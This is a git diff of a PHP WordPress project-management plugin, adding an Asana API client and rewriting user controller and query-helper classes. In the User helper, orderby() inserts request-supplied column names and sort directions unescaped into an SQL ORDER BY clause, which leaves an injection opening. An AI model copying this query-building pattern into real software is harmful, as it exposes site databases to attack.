https://asana.com/developers/documentation/getting-started/input-output-options) + * + * @return string JSON or null + */ + public function getWorkspaceTypeahead($workspaceId, $type, $query, $count = 1, array $opts = array()) + { + $opts = array_merge($opts, array( + 'type' => $type, + 'query' => $query, + 'count' => $count + )); + $options = http_build_query($opts); + + return $this->askAsana($this->workspacesUrl . '/' . $workspaceId . '/typeahead?' . $options); + } + + + /** + * ********************************** + * Section functions + * ********************************** + */ + + /** + * Creates a section associated with a project. + * More about sections (@see https://asana.com/developers/api-reference/sections) + * + * @param string $projectId + * @param array $data Array of data for the task following the Asana API documentation. + * Example: + * + * array( + * "workspace" => "1768", + * "name" => "Hello World!", + * "notes" => "This is a section for testing the Asana API :)", + * "assignee" => "176822166183", + * "followers" => array( + * "37136", + * "59083" + * ) + * ) + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * + * @return string JSON or null + */ + public function createSection($projectId, $data, array $opts = array()) + { + $data = array('data' => $data); + $data = json_encode($data); + $options = http_build_query($opts); + + return $this->askAsana($this->projectsUrl . '/' . $projectId . '/sections?' . $options, $data, ASANA_METHOD_POST); + } + + /** + * Returns the full record for a single section. + * + * @param string $sectionId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getSection($sectionId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->sectionsUrl . '/' . $sectionId . '?' . $options); + } + + /** + * This method modifies the fields of a section provided in the request, then returns the full updated record. + * + * @param string $sectionId + * @param array $data An array containing fields to update, see Asana API if needed. + * Example: array('name' => 'Test'); + * + * @return string JSON or null + */ + public function updateSection($sectionId, $data) + { + $data = array('data' => $data); + $data = json_encode($data); + + return $this->askAsana($this->sectionsUrl . '/' . $sectionId, $data, ASANA_METHOD_PUT); + } + + /** + * Deletes a section. + * + * @param string $sectionId + * @return string Empty if success + */ + public function deleteSection($sectionId) + { + return $this->askAsana($this->sectionsUrl . '/' . $sectionId, null, ASANA_METHOD_DELETE); + } + + + /** + * ********************************** + * Custom Fields functions + * ********************************** + */ + + /** + * Returns custom field information + * + * @param string $customFieldId + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * @return string JSON or null + */ + public function getCustomField($customFieldId, array $opts = array()) + { + $options = http_build_query($opts); + + return $this->askAsana($this->customFieldsUrl . '/' . $customFieldId . '?' . $options); + } + + /** + * Adds a custom field to a project. If successful, will return success and an empty data block. + * + * @param string $projectId The project to associate the custom field with + * @param string $customFieldId The id of the custom field to associate with this project. + * @param boolean $isImportant Whether this field should be considered important to this project. + * @param string $insertBefore An id of a Custom Field Settings on this project, before which the new Custom Field Settings will be added. + * insert_before and insert_after parameters cannot both be specified. + * @param string $insertAfter An id of a Custom Field Settings on this project, after which the new Custom Field Settings will be added. + * insert_before and insert_after parameters cannot both be specified. + * @return string JSON or null + */ + public function addCustomFieldToProject($projectId, $customFieldId, $isImportant, $insertBefore = null, $insertAfter = null) + { + $data = array( + 'custom_field' => $customFieldId, + 'is_important' => is_bool($isImportant) ? var_export($isImportant, true) : $isImportant + ); + if (!is_null($insertBefore)) { + $data['insert_before'] = $insertBefore; + } elseif (!is_null($insertAfter)) { + $data['insert_after'] = $insertAfter; + } + $data = json_encode(array('data' => $data)); + + return $this->askAsana($this->projectsUrl . '/' . $projectId . '/addCustomFieldSetting', $data, ASANA_METHOD_POST); + } + + /** + * Removes a custom field from a project. If successful, will return success and an empty data block. + * + * @param string $projectId The project from where to remove the custom field + * @param string $customFieldId The id of the custom field to remove from the project + * @return string JSON or null + */ + public function removeCustomFieldFromProject($projectId, $customFieldId) + { + $data = array('data' => array( + 'custom_field' => $customFieldId + )); + $data = json_encode($data); + + return $this->askAsana($this->projectsUrl . '/' . $projectId . '/removeCustomFieldSetting', $data, ASANA_METHOD_POST); + } + + + /** + * ********************************** + * Webhooks functions + * ********************************** + */ + + /** + * Creates a webhook. + * Please read the documentation (or see webhook-target.php inside examples) as the target must be a valid url and must return a valid header back. + * https://asana.com/developers/api-reference/webhooks + * + * @param string $resourceId A resource ID to subscribe to. The resource can be a task or project. + * @param string $target The URL to receive the HTTP POST. + * @return string JSON or null + */ + public function createWebhook($resourceId, $target) + { + $data = array('data' => array( + 'resource' => $resourceId, + 'target' => $target + )); + $data = json_encode($data); + + return $this->askAsana($this->webhooksUrl, $data, ASANA_METHOD_POST); + } + + /** + * Returns the compact representation of all webhooks your app has registered for the authenticated user in the given workspace. + * + * @param string $workspaceId The workspace to query for webhooks in. + * @param string $resource Optional: Only return webhooks for the given resource. + * @param array $opts Array of options to pass + * (@see https://asana.com/developers/documentation/getting-started/input-output-options) + * + * @return string JSON or null + */ + public function getWebhooks($workspaceId, $resource = null, array $opts = array()) + { + $opts = array_merge($opts, array( + 'workspace' => $workspaceId + )); + if (!is_null($resource)) { + $opts['resource'] = $resource; + } + $options = http_build_query($opts); + + return $this->askAsana($this->webhooksUrl . '?' . $options); + } + + /** + * Returns the full record for the given webhook. + * + * @param string $webhookId The webhook to get. + * @return string JSON or null + */ + public function getWebhook($webhookId) + { + return $this->askAsana($this->webhooksUrl . '/' . $webhookId); + } + + /** + * This method permanently removes a webhook. + * + * @param string $webhookId The webhook to delete. + * @return string JSON or null + */ + public function deleteWebhook($webhookId) + { + return $this->askAsana($this->webhooksUrl . '/' . $webhookId, null, ASANA_METHOD_DELETE); + } + + /** + * This function communicates with Asana REST API. + * You don't need to call this function directly. It's only for inner class working. + * + * @param string $url + * @param string $data Must be a json string + * @param int $method See constants defined at the beginning of the class + * @return string JSON or null + */ + private function askAsana($url, $data = null, $method = ASANA_METHOD_GET) + { + $headerData = array(); + $curl = curl_init(); + curl_setopt($curl, CURLOPT_URL, $url); + curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); // Don't print the result + curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, $this->timeout); + curl_setopt($curl, CURLOPT_TIMEOUT, $this->timeout); + curl_setopt($curl, CURLOPT_FAILONERROR, $this->failOnError); + curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, true); // Verify SSL connection + curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2); // "" "" + + if (!empty($this->apiKey)) { + // Send with API key. + curl_setopt($curl, CURLOPT_USERPWD, $this->apiKey); + curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); + + // Don't send as json when attaching files to tasks. + if (is_string($data) || empty($data['file'])) { + array_push($headerData, 'Content-Type: application/json'); // Send as JSON + } + } elseif (!empty($this->accessToken) || !empty($this->personalAccessToken)) { + if (!empty($this->accessToken)) { + $accessToken = $this->accessToken; + } else { + $accessToken = $this->personalAccessToken; + } + + // Send with auth token. + array_push($headerData, 'Authorization: Bearer ' . $accessToken); + + // Don't send as json when attaching files to tasks. + if (is_string($data) || empty($data['file'])) { + array_push($headerData, 'Content-Type: application/json'); + } + } + + if ($this->advDebug) { + curl_setopt($curl, CURLOPT_HEADER, true); // Display headers + curl_setopt($curl, CURLINFO_HEADER_OUT, true); // Display output headers + curl_setopt($curl, CURLOPT_VERBOSE, true); // Display communication with server + } + + if ($method == ASANA_METHOD_POST) { + curl_setopt($curl, CURLOPT_POST, true); + } elseif ($method == ASANA_METHOD_PUT) { + curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'PUT'); + } elseif ($method == ASANA_METHOD_DELETE) { + curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'DELETE'); + } + if (!is_null($data) && ($method == ASANA_METHOD_POST || $method == ASANA_METHOD_PUT)) { + curl_setopt($curl, CURLOPT_POSTFIELDS, $data); + } + + if ($this->fastAPI) { + array_push($headerData, 'Asana-Fast-Api: true'); + } + + if ($this->newRichText) { + array_push($headerData, 'Asana-Enable: new_rich_text'); + } else { + array_push($headerData, 'Asana-Disable: new_rich_text'); + } + + if (sizeof($headerData) > 0) { + curl_setopt($curl, CURLOPT_HTTPHEADER, $headerData); + } + + try { + $this->response = curl_exec($curl); + $this->responseCode = curl_getinfo($curl, CURLINFO_HTTP_CODE); + + if ($this->debug || $this->advDebug) { + $info = curl_getinfo($curl); + echo '
';
+                print_r($info);
+                echo '
'; + if ($info['http_code'] == 0) { + echo '
cURL error num: ' . curl_errno($curl); + echo '
cURL error: ' . curl_error($curl); + } + echo '
Sent info:
';
+                print_r($data);
+                echo '
'; + } + } catch (Exception $ex) { + if ($this->debug || $this->advDebug) { + echo '
cURL error num: ' . curl_errno($curl); + echo '
cURL error: ' . curl_error($curl); + } + echo 'Error on cURL'; + $this->response = null; + } + + curl_close($curl); + + return $this->response; + } + + /** + * Set the return type. + * + * @param int $type Return type defined in the constants. + * @return Asana + */ + public function setReturnType($type) + { + $this->returnType = $type; + + return $this; + } + + /** + * Checks for errors in the response. + * + * @return boolean + */ + public function hasError() + { + return !in_array($this->responseCode, array(200, 201)) || is_null($this->response); + } + + /** + * Decodes the response and returns as an object, array. + * + * @return object, array, or null + */ + public function getErrors() + { + $array = $this->returnType == ASANA_RETURN_TYPE_ARRAY; + $return = json_decode($this->response, $array, 512, JSON_BIGINT_AS_STRING); + + if ($array && isset($return['errors'])) { + return $return['errors']; + } elseif ($this->returnType == ASANA_RETURN_TYPE_OBJECT && isset($return->errors)){ + return $return->errors; + } elseif ($this->returnType == ASANA_RETURN_TYPE_JSON){ + return $this->response; + } + } + + /** + * Decodes the response and returns as an object, array. + * + * @return object, array, string or null + */ + public function getData() + { + if (!$this->hasError()) { + $array = $this->returnType == ASANA_RETURN_TYPE_ARRAY; + $return = json_decode($this->response, $array, 512, JSON_BIGINT_AS_STRING); + + if ($array && isset($return['data'])) { + return $return['data']; + } elseif ($this->returnType == ASANA_RETURN_TYPE_OBJECT && isset($return->data)){ + return $return->data; + } elseif ($this->returnType == ASANA_RETURN_TYPE_JSON){ + return $this->response; + } + } + + return null; + } + + public function getAsana($query){ + $url = 'https://app.asana.com/api/1.0/'.$query; + $data = $this->askAsana($url); + return json_decode($data); + } +} diff --git a/src/User/Controllers/User_Controller.php b/src/User/Controllers/User_Controller.php index 528566a3d..138b48472 100644 --- a/src/User/Controllers/User_Controller.php +++ b/src/User/Controllers/User_Controller.php @@ -1,214 +1,214 @@ -get_param( 'id' ); - - $per_page = $request->get_param( 'per_page' ); - $per_page = $per_page ? $per_page : 15; - - $page = $request->get_param( 'page' ); - $page = $page ? $page : 1; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - if ( $id && is_array( $id ) ) { - $users = User::find( $id ); - $resource = new Collection( $users, new User_Transformer ); - } else { - $users = User::paginate( $per_page ); - $user_collection = $users->getCollection(); - $resource = new Collection( $user_collection, new User_Transformer ); - - $resource->setPaginator( new IlluminatePaginatorAdapter( $users ) ); - } - - - return $this->get_response( $resource ); - } - - public function show( WP_REST_Request $request ) { - $id = $request->get_param( 'id' ); - $user = User::find( $id ); - $resource = new Item( $user, new User_Transformer ); - - return $this->get_response( $resource ); - } - - public function store( WP_REST_Request $request ) { - // Extraction of user data from inputs - $user_data = [ - 'user_login' => $request->get_param( 'username' ), - 'user_email' => $request->get_param( 'email' ), - 'user_pass' => $request->get_param( 'password' ), - 'user_nicename' => $request->get_param( 'nicename' ), - 'display_name' => $request->get_param( 'display_name' ), - 'first_name' => $request->get_param( 'first_name' ), - 'last_name' => $request->get_param( 'last_name' ), - 'nickname' => $request->get_param( 'nickname' ), - 'user_url' => $request->get_param( 'user_url' ), - 'description' => $request->get_param( 'description' ), - 'locale' => $request->get_param( 'locale' ), - 'rich_editing' => $request->get_param( 'rich_editing' ), - 'comment_shortcuts' => $request->get_param( 'comment_shortcuts' ), - 'admin_color' => $request->get_param( 'admin_color' ), - 'show_admin_bar_front' => $request->get_param( 'show_admin_bar_front' ), - 'user_registered' => $request->get_param( 'user_registered' ), - 'use_ssl' => $request->get_param( 'use_ssl' ), - ]; - $user_data = array_filter( $user_data ); - - // User password insertion - if ( !array_key_exists( 'user_pass', $user_data ) ) { - $user_data['user_pass'] = wp_generate_password( - $length = 12, - $include_standard_special_chars = false - ); - } - - // User creation - $user_id = wp_insert_user( $user_data ); - - if ( is_multisite() ) { - $blog_id = get_current_blog_id(); - add_user_to_blog( $blog_id, $blog_id, 'subscriber' ); - } - - wp_send_new_user_notifications( $user_id ); - $user = User::find( $user_id ); - - // Transforming database model instance - $resource = new Item( $user, new User_Transformer ); - - return $this->get_response( $resource ); - } - - public function search( WP_REST_Request $request ) { - $query_string = $request->get_param( 'query' ); - $limit = $request->get_param( 'limit' ); - $term = $request->get_param( 'term'); - - $users = User::where( 'user_login', 'LIKE', '%' . $query_string . '%' ) - ->orWhere( 'user_nicename', 'LIKE', '%' . $query_string . '%' ) - ->orWhere( 'user_email', 'LIKE', '%' . $query_string . '%' ) - ->orWhere( 'user_url', 'LIKE', '%' . $query_string . '%') - ->multisite(); - - if ( $limit ) { - $users = $users->limit( intval( $limit ) )->get(); - } else { - $users = $users->get(); - } - - - -// $user_collection = $users->getCollection(); -// $resource = new Collection( $user_collection, new User_Transformer ); - $resource = new Collection( $users, new User_Transformer ); - -// $resource->setPaginator( new IlluminatePaginatorAdapter( $users ) ); - - return $this->get_response( $resource ); - } - - public function update_role( WP_REST_Request $request ) { - // Extract user inputs - $id = $request->get_param( 'user_id' ); - $project_id = $request->get_param( 'project_id' ); - $role_ids = $request->get_param( 'role_ids' ); - $role_ids = explode( ',', $role_ids ); - - // Associate roles and users - if ( $project_id ) { - foreach ( $role_ids as $role_id ) { - $role_project_ids[$role_id] = ['project_id' => $project_id]; - } - $role_ids = $role_project_ids; - } - - $user = User::find( $id ); - $user->roles()->sync( $role_ids ); - - // Transforming database model instance - $resource = new Item( $user, new User_Transformer ); - - return $this->get_response( $resource ); - } - - public function save_users_map_name(WP_REST_Request $request){ - $usernames = $request->get_params(); - foreach($usernames['usernames'] as $username_key => $username_value){ - $username_key_array = explode('_',$username_key); - if(in_array('github',$username_key_array) || in_array('bitbucket',$username_key_array)){ - $user_meta_key = $username_key_array[0]; - $user_meta_id = $username_key_array[1]; - $user_meta_value = !empty($username_value) ? $username_value : '' ; - update_user_meta($user_meta_id,$user_meta_key,$user_meta_value); - } - } - } - - public function get_user_all_projects(WP_REST_Request $request) { - global $wpdb; - $type = $request->get_param('user_type'); - - $role = ''; - - if( $type == 'manager' ) { - $role = ' AND rus.role_id=1'; - } else if ( $type == 'co_worker') { - $role = ' AND rus.role_id=2'; - } else if ( $type == 'client' ) { - $role = ' AND rus.role_id=3'; - } - - $tb_role_users = pm_tb_prefix() . 'pm_role_user'; - $tb_users = $wpdb->base_prefix . 'users'; - $tb_user_meta = $wpdb->base_prefix . 'usermeta'; - - if ( is_multisite() ) { - $meta_key = pm_user_meta_key(); - - $sql = "SELECT DISTINCT us.ID as user_id, us.user_email as user_email, us.display_name as display_name - FROM $tb_role_users as rus - LEFT JOIN $tb_users as us ON us.ID=rus.user_id - LEFT JOIN $tb_user_meta as umeta ON umeta.user_id = us.ID - WHERE 1=1 - AND umeta.meta_key='$meta_key' - $role"; - } else { - $sql = "SELECT DISTINCT us.ID as user_id, us.user_email as user_email, us.display_name as display_name - FROM $tb_role_users as rus - LEFT JOIN $tb_users as us ON us.ID=rus.user_id - WHERE 1=1 $role"; - } - - $users = $wpdb->get_results( $sql ); - - foreach ( $users as $key => $user ) { - $user->avatar_url = get_avatar_url( $user->user_email ); - } - - wp_send_json_success( $users ); - } -} +get_param( 'id' ); + + $per_page = $request->get_param( 'per_page' ); + $per_page = $per_page ? $per_page : 15; + + $page = $request->get_param( 'page' ); + $page = $page ? $page : 1; + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + if ( $id && is_array( $id ) ) { + $users = User::find( $id ); + $resource = new Collection( $users, new User_Transformer ); + } else { + $users = User::paginate( $per_page ); + $user_collection = $users->getCollection(); + $resource = new Collection( $user_collection, new User_Transformer ); + + $resource->setPaginator( new IlluminatePaginatorAdapter( $users ) ); + } + + + return $this->get_response( $resource ); + } + + public function show( WP_REST_Request $request ) { + $id = $request->get_param( 'id' ); + $user = User::find( $id ); + $resource = new Item( $user, new User_Transformer ); + + return $this->get_response( $resource ); + } + + public function store( WP_REST_Request $request ) { + // Extraction of user data from inputs + $user_data = [ + 'user_login' => $request->get_param( 'username' ), + 'user_email' => $request->get_param( 'email' ), + 'user_pass' => $request->get_param( 'password' ), + 'user_nicename' => $request->get_param( 'nicename' ), + 'display_name' => $request->get_param( 'display_name' ), + 'first_name' => $request->get_param( 'first_name' ), + 'last_name' => $request->get_param( 'last_name' ), + 'nickname' => $request->get_param( 'nickname' ), + 'user_url' => $request->get_param( 'user_url' ), + 'description' => $request->get_param( 'description' ), + 'locale' => $request->get_param( 'locale' ), + 'rich_editing' => $request->get_param( 'rich_editing' ), + 'comment_shortcuts' => $request->get_param( 'comment_shortcuts' ), + 'admin_color' => $request->get_param( 'admin_color' ), + 'show_admin_bar_front' => $request->get_param( 'show_admin_bar_front' ), + 'user_registered' => $request->get_param( 'user_registered' ), + 'use_ssl' => $request->get_param( 'use_ssl' ), + ]; + $user_data = array_filter( $user_data ); + + // User password insertion + if ( !array_key_exists( 'user_pass', $user_data ) ) { + $user_data['user_pass'] = wp_generate_password( + $length = 12, + $include_standard_special_chars = false + ); + } + + // User creation + $user_id = wp_insert_user( $user_data ); + + if ( is_multisite() ) { + $blog_id = get_current_blog_id(); + add_user_to_blog( $blog_id, $blog_id, 'subscriber' ); + } + + wp_send_new_user_notifications( $user_id ); + $user = User::find( $user_id ); + + // Transforming database model instance + $resource = new Item( $user, new User_Transformer ); + + return $this->get_response( $resource ); + } + + public function search( WP_REST_Request $request ) { + $query_string = $request->get_param( 'query' ); + $limit = $request->get_param( 'limit' ); + $term = $request->get_param( 'term'); + + $users = User::where( 'user_login', 'LIKE', '%' . $query_string . '%' ) + ->orWhere( 'user_nicename', 'LIKE', '%' . $query_string . '%' ) + ->orWhere( 'user_email', 'LIKE', '%' . $query_string . '%' ) + ->orWhere( 'user_url', 'LIKE', '%' . $query_string . '%') + ->multisite(); + + if ( $limit ) { + $users = $users->limit( intval( $limit ) )->get(); + } else { + $users = $users->get(); + } + + + +// $user_collection = $users->getCollection(); +// $resource = new Collection( $user_collection, new User_Transformer ); + $resource = new Collection( $users, new User_Transformer ); + +// $resource->setPaginator( new IlluminatePaginatorAdapter( $users ) ); + + return $this->get_response( $resource ); + } + + public function update_role( WP_REST_Request $request ) { + // Extract user inputs + $id = $request->get_param( 'user_id' ); + $project_id = $request->get_param( 'project_id' ); + $role_ids = $request->get_param( 'role_ids' ); + $role_ids = explode( ',', $role_ids ); + + // Associate roles and users + if ( $project_id ) { + foreach ( $role_ids as $role_id ) { + $role_project_ids[$role_id] = ['project_id' => $project_id]; + } + $role_ids = $role_project_ids; + } + + $user = User::find( $id ); + $user->roles()->sync( $role_ids ); + + // Transforming database model instance + $resource = new Item( $user, new User_Transformer ); + + return $this->get_response( $resource ); + } + + public function save_users_map_name(WP_REST_Request $request){ + $usernames = $request->get_params(); + foreach($usernames['usernames'] as $username_key => $username_value){ + $username_key_array = explode('_',$username_key); + if(in_array('github',$username_key_array) || in_array('bitbucket',$username_key_array)){ + $user_meta_key = $username_key_array[0]; + $user_meta_id = $username_key_array[1]; + $user_meta_value = !empty($username_value) ? $username_value : '' ; + update_user_meta($user_meta_id,$user_meta_key,$user_meta_value); + } + } + } + + public function get_user_all_projects(WP_REST_Request $request) { + global $wpdb; + $type = $request->get_param('user_type'); + + $role = ''; + + if( $type == 'manager' ) { + $role = ' AND rus.role_id=1'; + } else if ( $type == 'co_worker') { + $role = ' AND rus.role_id=2'; + } else if ( $type == 'client' ) { + $role = ' AND rus.role_id=3'; + } + + $tb_role_users = pm_tb_prefix() . 'pm_role_user'; + $tb_users = $wpdb->base_prefix . 'users'; + $tb_user_meta = $wpdb->base_prefix . 'usermeta'; + + if ( is_multisite() ) { + $meta_key = pm_user_meta_key(); + + $sql = "SELECT DISTINCT us.ID as user_id, us.user_email as user_email, us.display_name as display_name + FROM $tb_role_users as rus + LEFT JOIN $tb_users as us ON us.ID=rus.user_id + LEFT JOIN $tb_user_meta as umeta ON umeta.user_id = us.ID + WHERE 1=1 + AND umeta.meta_key='$meta_key' + $role"; + } else { + $sql = "SELECT DISTINCT us.ID as user_id, us.user_email as user_email, us.display_name as display_name + FROM $tb_role_users as rus + LEFT JOIN $tb_users as us ON us.ID=rus.user_id + WHERE 1=1 $role"; + } + + $users = $wpdb->get_results( $sql ); + + foreach ( $users as $key => $user ) { + $user->avatar_url = get_avatar_url( $user->user_email ); + } + + wp_send_json_success( $users ); + } +} diff --git a/src/User/Helper/User.php b/src/User/Helper/User.php index 6970fe191..50556ee2d 100644 --- a/src/User/Helper/User.php +++ b/src/User/Helper/User.php @@ -1,253 +1,253 @@ -set_table_name(); - } - - public static function get_results( $params = [] ) { - $self = self::getInstance(); - $self->query_params = $params; - - $self->join() - ->where() - ->limit() - ->orderby() - ->get(); - - $response = $self->format_users( $self->users ); - - if ( pm_is_single_query( $params ) ) { - return ['data' => $response['data'][0]] ; - } - - return $response; - } - - /** - * Format TaskMilestone data - * - * @param array $users - * - * @return array - */ - public function format_users( $users ) { - $response = [ - 'data' => [], - 'meta' => [] - ]; - - foreach ( $users as $key => $user ) { - $users[$key] = $this->fromat_user( $user ); - } - - $response['data'] = $users; - $response ['meta'] = $this->set_users_meta(); - - return $response; - } - - /** - * Set meta data - */ - private function set_users_meta() { - return [ - 'pagination' => [ - 'total' => $this->found_rows, - 'per_page' => ceil( $this->found_rows/$this->get_per_page() ) - ] - ]; - } - - public function fromat_user( $user ) { - - $items = [ - 'id' => (int) $user->ID, - 'username' => $user->user_login, - 'nicename' => $user->user_nicename, - 'email' => $user->user_email, - 'profile_url' => $user->user_url, - 'display_name' => $user->display_name, - 'manage_capability' => (int) pm_has_manage_capability($user->ID), - 'create_capability' => (int) pm_has_project_create_capability($user->ID), - 'avatar_url' => get_avatar_url( $user->user_email ), - 'github' => get_user_meta($user->ID,'github' ,true), - 'bitbucket' => get_user_meta($user->ID,'bitbucket', true) - ]; - - $items = $this->item_with( $items, $user ); - - return apply_filters( 'pm_user_transform', $items, $user ); - } - - private function item_with( $items, $user ) { - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - $user_with_items = array_intersect_key( (array) $user, array_flip( $with ) ); - - $items = array_merge( $items, $user_with_items ); - - return $items; - } - - private function where() { - - $this->where_id(); - - return $this; - } - - /** - * Filter user by ID - * - * @return class object - */ - private function where_id() { - $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; - - if ( empty( $id ) ) { - return $this; - } - - global $wpdb; - $format = pm_get_prepare_format( $id ); - $format_ids = pm_get_prepare_data( $id ); - - $this->where .= $wpdb->prepare( " AND {$this->tb_user}.ID IN ($format)", $format_ids ); - - if ( count( $format_ids ) == 1 ) { - $this->is_single_query = true; - } - - return $this; - } - - private function join() { - return $this; - } - - private function limit() { - global $wpdb; - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( $per_page === false || $per_page == '-1' ) { - return $this; - } - - // $this->limit = " LIMIT {$this->get_offset()},{$this->get_per_page()}"; - $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); - - return $this; - } - - private function orderby() { - global $wpdb; - - $tb_pj = $wpdb->prefix . 'users'; - $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; - - if ( $odr_prms === false && !is_array( $odr_prms ) ) { - return $this; - } - - $orders = []; - - $odr_prms = str_replace( ' ', '', $odr_prms ); - $odr_prms = explode( ',', $odr_prms ); - - foreach ( $odr_prms as $key => $orderStr ) { - $orderStr = str_replace( ' ', '', $orderStr ); - $orderStr = explode( ':', $orderStr ); - $orderby = $orderStr[0]; - $order = empty( $orderStr[1] ) ? 'asc' : $orderStr[1]; - $orders[$orderby] = $order; - } - - $order = []; - - foreach ( $orders as $key => $value ) { - $order[] = $tb_pj .'.'. $key . ' ' . $value; - } - - $this->orderby = "ORDER BY " . implode( ', ', $order); - - return $this; - } - - private function get_offset() { - $page = isset( $this->query_params['page'] ) ? $this->query_params['page'] : false; - - $page = empty( $page ) ? 1 : absint( $page ); - $limit = $this->get_per_page(); - $offset = ( $page - 1 ) * $limit; - - return $offset; - } - - private function get_per_page() { - - $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; - - if ( ! empty( $per_page ) && intval( $per_page ) ) { - return intval( $per_page ); - } - - return 10; - } - - private function get() { - global $wpdb; - - - $query = "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_user}.* - FROM {$this->tb_user} - {$this->join} - WHERE %d=%d {$this->where} - {$this->orderby} {$this->limit} "; - - $results = $wpdb->get_results( $wpdb->prepare( $query, 1, 1 ) ); - - $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); - $this->users = $results; - - if ( ! empty( $results ) && is_array( $results ) ) { - $this->user_ids = wp_list_pluck( $results, 'ID' ); - } - - if ( ! empty( $results ) && !is_array( $results ) ) { - $this->user_ids = [$results->id]; - } - - return $this; - } - - /** - * Set table name as class object - */ - private function set_table_name() { - $this->tb_user = pm_tb_prefix() . 'users'; - } -} +set_table_name(); + } + + public static function get_results( $params = [] ) { + $self = self::getInstance(); + $self->query_params = $params; + + $self->join() + ->where() + ->limit() + ->orderby() + ->get(); + + $response = $self->format_users( $self->users ); + + if ( pm_is_single_query( $params ) ) { + return ['data' => $response['data'][0]] ; + } + + return $response; + } + + /** + * Format TaskMilestone data + * + * @param array $users + * + * @return array + */ + public function format_users( $users ) { + $response = [ + 'data' => [], + 'meta' => [] + ]; + + foreach ( $users as $key => $user ) { + $users[$key] = $this->fromat_user( $user ); + } + + $response['data'] = $users; + $response ['meta'] = $this->set_users_meta(); + + return $response; + } + + /** + * Set meta data + */ + private function set_users_meta() { + return [ + 'pagination' => [ + 'total' => $this->found_rows, + 'per_page' => ceil( $this->found_rows/$this->get_per_page() ) + ] + ]; + } + + public function fromat_user( $user ) { + + $items = [ + 'id' => (int) $user->ID, + 'username' => $user->user_login, + 'nicename' => $user->user_nicename, + 'email' => $user->user_email, + 'profile_url' => $user->user_url, + 'display_name' => $user->display_name, + 'manage_capability' => (int) pm_has_manage_capability($user->ID), + 'create_capability' => (int) pm_has_project_create_capability($user->ID), + 'avatar_url' => get_avatar_url( $user->user_email ), + 'github' => get_user_meta($user->ID,'github' ,true), + 'bitbucket' => get_user_meta($user->ID,'bitbucket', true) + ]; + + $items = $this->item_with( $items, $user ); + + return apply_filters( 'pm_user_transform', $items, $user ); + } + + private function item_with( $items, $user ) { + $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; + + if ( ! is_array( $with ) ) { + $with = explode( ',', str_replace(' ', '', $with ) ); + } + + $user_with_items = array_intersect_key( (array) $user, array_flip( $with ) ); + + $items = array_merge( $items, $user_with_items ); + + return $items; + } + + private function where() { + + $this->where_id(); + + return $this; + } + + /** + * Filter user by ID + * + * @return class object + */ + private function where_id() { + $id = isset( $this->query_params['id'] ) ? $this->query_params['id'] : false; + + if ( empty( $id ) ) { + return $this; + } + + global $wpdb; + $format = pm_get_prepare_format( $id ); + $format_ids = pm_get_prepare_data( $id ); + + $this->where .= $wpdb->prepare( " AND {$this->tb_user}.ID IN ($format)", $format_ids ); + + if ( count( $format_ids ) == 1 ) { + $this->is_single_query = true; + } + + return $this; + } + + private function join() { + return $this; + } + + private function limit() { + global $wpdb; + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( $per_page === false || $per_page == '-1' ) { + return $this; + } + + // $this->limit = " LIMIT {$this->get_offset()},{$this->get_per_page()}"; + $this->limit = $wpdb->prepare( " LIMIT %d,%d", $this->get_offset(), $this->get_per_page() ); + + return $this; + } + + private function orderby() { + global $wpdb; + + $tb_pj = $wpdb->prefix . 'users'; + $odr_prms = isset( $this->query_params['orderby'] ) ? $this->query_params['orderby'] : false; + + if ( $odr_prms === false && !is_array( $odr_prms ) ) { + return $this; + } + + $orders = []; + + $odr_prms = str_replace( ' ', '', $odr_prms ); + $odr_prms = explode( ',', $odr_prms ); + + foreach ( $odr_prms as $key => $orderStr ) { + $orderStr = str_replace( ' ', '', $orderStr ); + $orderStr = explode( ':', $orderStr ); + $orderby = $orderStr[0]; + $order = empty( $orderStr[1] ) ? 'asc' : $orderStr[1]; + $orders[$orderby] = $order; + } + + $order = []; + + foreach ( $orders as $key => $value ) { + $order[] = $tb_pj .'.'. $key . ' ' . $value; + } + + $this->orderby = "ORDER BY " . implode( ', ', $order); + + return $this; + } + + private function get_offset() { + $page = isset( $this->query_params['page'] ) ? $this->query_params['page'] : false; + + $page = empty( $page ) ? 1 : absint( $page ); + $limit = $this->get_per_page(); + $offset = ( $page - 1 ) * $limit; + + return $offset; + } + + private function get_per_page() { + + $per_page = isset( $this->query_params['per_page'] ) ? $this->query_params['per_page'] : false; + + if ( ! empty( $per_page ) && intval( $per_page ) ) { + return intval( $per_page ); + } + + return 10; + } + + private function get() { + global $wpdb; + + + $query = "SELECT SQL_CALC_FOUND_ROWS DISTINCT {$this->tb_user}.* + FROM {$this->tb_user} + {$this->join} + WHERE %d=%d {$this->where} + {$this->orderby} {$this->limit} "; + + $results = $wpdb->get_results( $wpdb->prepare( $query, 1, 1 ) ); + + $this->found_rows = $wpdb->get_var( "SELECT FOUND_ROWS()" ); + $this->users = $results; + + if ( ! empty( $results ) && is_array( $results ) ) { + $this->user_ids = wp_list_pluck( $results, 'ID' ); + } + + if ( ! empty( $results ) && !is_array( $results ) ) { + 